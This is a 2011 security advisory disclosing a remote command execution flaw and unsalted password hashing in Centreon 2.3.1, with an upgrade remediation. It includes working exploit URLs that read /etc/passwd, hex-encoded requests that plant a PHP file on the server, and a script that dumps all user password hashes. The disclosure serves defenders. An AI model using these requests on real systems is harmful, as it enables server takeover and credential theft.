Trustwave's SpiderLabs Security Advisory TWSL2011-017: https://www.trustwave.com/spiderlabs/advisories/TWSL2011-017.txt Published: 2011-11-04 Version: 1.0 Vendor: Merethis (http://www.merethis.com and http://www.centreon.com) Product: Centreon Version affected: 2.3.1 and prior Product description: Centreon is network supervision and monitoring tool that is based upon the Nagios open source monitoring engine. Centreon can be used as a Nagios GUI and it can provide such features as real time system monitoring, performance management and system management. Credit: Christophe De La Fuente of Trustwave SpiderLabs Finding 1: Remote Command Execution Centreon supervision and monitoring tool provided by Merethis permits remote code execution from the command help web page allowing an attacker to execute arbitrary commands in the context of the webserver hosting the application. Any account that has been granted the access to "Configuration > Nagios > Checks" is able to execute commands. The following Proof of Concept (PoC) executes the command 'cat /etc/passwd': http://example.domain/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../bin/cat%20/etc/passwd%20%23&o=h&min=1 Finding 2: One-Way Hash Without a Salt The following code at lines 329-349 from www/include/configuration/nconfigObject/contact/DB-Func.php shows the insertContactInDB() function inserting the MD5 or SHA1 password hash in the database without using a salt: $rq = "INSERT INTO `contact` ( " . "`contact_id` , `timeperiod_tp_id` , `timeperiod_tp_id2` , `contact_name` , " . "`contact_alias` , `contact_autologin_key` , `contact_passwd` , `contact_lang` , `contact_template_id`, " . "`contact_host_notification_options` , `contact_service_notification_options` , " . "`contact_email` , `contact_pager` , `contact_comment` , `contact_oreon`, `contact_register`, `contact_enable_notifications` , " . "`contact_admin` , `contact_type_msg`, `contact_activate`, `contact_auth_type`, " . "`contact_ldap_dn`, `contact_location`, `contact_address1`, `contact_address2`, " . "`contact_address3`, `contact_address4`, `contact_address5`, `contact_address6`)" . "VALUES ( "; $rq .= "NULL, "; isset($ret["timeperiod_tp_id"]) && $ret["timeperiod_tp_id"] != NULL ? $rq .= "'".$ret["timeperiod_tp_id"]."', ": $rq .= "NULL, "; isset($ret["timeperiod_tp_id2"]) && $ret["timeperiod_tp_id2"] != NULL ? $rq .= "'".$ret["timeperiod_tp_id2"]."', ": $rq .= "NULL, "; isset($ret["contact_name"]) && $ret["contact_name"] != NULL ? $rq .= "'".htmlentities($ret["contact_name"], ENT_QUOTES, "UTF-8")."', ": $rq .= "NULL, ";---isset($ret["contact_alias"]) && $ret["contact_alias"] != NULL ? $rq .= "'".htmlentities($ret["contact_alias"], ENT_QUOTES, "UTF-8")."', ": $rq .= "NULL, "; isset($ret["contact_autologin_key"]) && $ret["contact_autologin_key"] != NULL ? $rq .= "'".htmlentities($ret["contact_autologin_key"], ENT_QUOTES)."', ": $rq .= "NULL, "; if ($encryptType == 1) isset($ret["contact_passwd"]) && $ret["contact_passwd"] != NULL ? $rq .= "'".md5($ret["contact_passwd"])."', ": $rq .= "NULL, "; else if ($encryptType == 2) isset($ret["contact_passwd"]) && $ret["contact_passwd"] != NULL ? $rq .= "'".sha1($ret["contact_passwd"])."', ": $rq .= "NULL, "; else isset($ret["contact_passwd"]) && $ret["contact_passwd"] != NULL ? $rq .= "'".md5($ret["contact_passwd"])."', ": $rq .= "NULL, "; The combination of unsalted hashes and Finding 1 allows an attacker to recover passwords for all accounts. The following example illustrates this attack. The following php code will dump the hashes of all users: <?php require_once ("/etc/centreon/centreon.conf.php"); require_once "$classdir/centreonDB.class.php"; $p=new CentreonDB(); $r=$p->query("SELECT contact_passwd from centreon.contact"); while ($w=&$r->fetchRow()) {echo $w["contact_passwd"] . "<br>";} ?> To upload and execute this code on the server, one method is to convert the above php code to hexadecimal and use the remote code execution method outlined in Finding 1 to create a server-side php file. The length of the URL accepted in this case is limited, so the file must be broken into three parts. The following requests create the php file "test.php": http://example.domain/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../usr/bin/printf%20\\x3c\\x3f\\x70\\x68\\x70\\x20\\x72\\x65\\x71\\x75\\x69\\x72\\x65\\x5f\\x6f\\x6e\\x63\\x65\\x20\\x28\\x22\\x2f\\x65\\x74\\x63\\x2f\\x63\\x65\\x6e\\x74\\x72\\x65\\x6f\\x6e\\x2f\\x63\\x65\\x6e\\x74\\x72\\x65\\x6f\\x6e\\x2e\\x63\\x6f\\x6e\\x66\\x2e\\x70\\x68\\x70\\x22\\x29\\x3b\\x20\\x72\\x65\\x71\\x75\\x69\\x72\\x65\\x5f\\x6f\\x6e\\x63\\x65\\x20\\x22\\x24\\x63\\x6c\\x61\\x73\\x73\\x64\\x69\\x72\\x2f\\x63\\x65\\x6e\\x74%20|tee%20-a%20test.php%20%23&o=h&min=1 http://example.domain/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../usr/bin/printf%20\\x72\\x65\\x6f\\x6e\\x44\\x42\\x2e\\x63\\x6c\\x61\\x73\\x73\\x2e\\x70\\x68\\x70\\x22\\x3b\\x20\\x24\\x70\\x3d\\x6e\\x65\\x77\\x20\\x43\\x65\\x6e\\x74\\x72\\x65\\x6f\\x6e\\x44\\x42\\x28\\x29\\x3b\\x20\\x24\\x72\\x3d\\x24\\x70\\x2d\\x3e\\x71\\x75\\x65\\x72\\x79\\x28\\x22\\x53\\x45\\x4c\\x45\\x43\\x54\\x20\\x63\\x6f\\x6e\\x74\\x61\\x63\\x74\\x5f\\x70\\x61\\x73\\x73\\x77\\x64\\x20\\x66\\x72\\x6f\\x6d\\x20\\x63\\x65\\x6e%20|tee%20-a%20test.php%20%23&o=h&min=1 http://example.domain/centreon/main.php?p=60706&command_name=/Centreon/SNMP/../../../../usr/bin/printf%20\\x74\\x72\\x65\\x6f\\x6e\\x2e\\x63\\x6f\\x6e\\x74\\x61\\x63\\x74\\x22\\x29\\x3b\\x20\\x77\\x68\\x69\\x6c\\x65\\x20\\x28\\x24\\x77\\x3d\\x26\\x24\\x72\\x2d\\x3e\\x66\\x65\\x74\\x63\\x68\\x52\\x6f\\x77\\x28\\x29\\x29\\x20\\x7b\\x65\\x63\\x68\\x6f\\x20\\x24\\x77\\x5b\\x22\\x63\\x6f\\x6e\\x74\\x61\\x63\\x74\\x5f\\x70\\x61\\x73\\x73\\x77\\x64\\x22\\x5d\\x20\\x2e\\x20\\x22\\x3c\\x62\\x72\\x3e\\x22\\x3b\\x7d\\x20\\x3f\\x3e%20|tee%20-a%20test.php%20%23&o=h&min=1 Execution of http://example.domain/centreon/test.php will provide the unsalted hashes. Using rainbow tables, these passwords can be reversed, the time and size of rainbow table required dependent on the complexity of the passwords involved. Remediation Steps: Customers should upgrade to version 2.3.2 in order to remediate these issues.
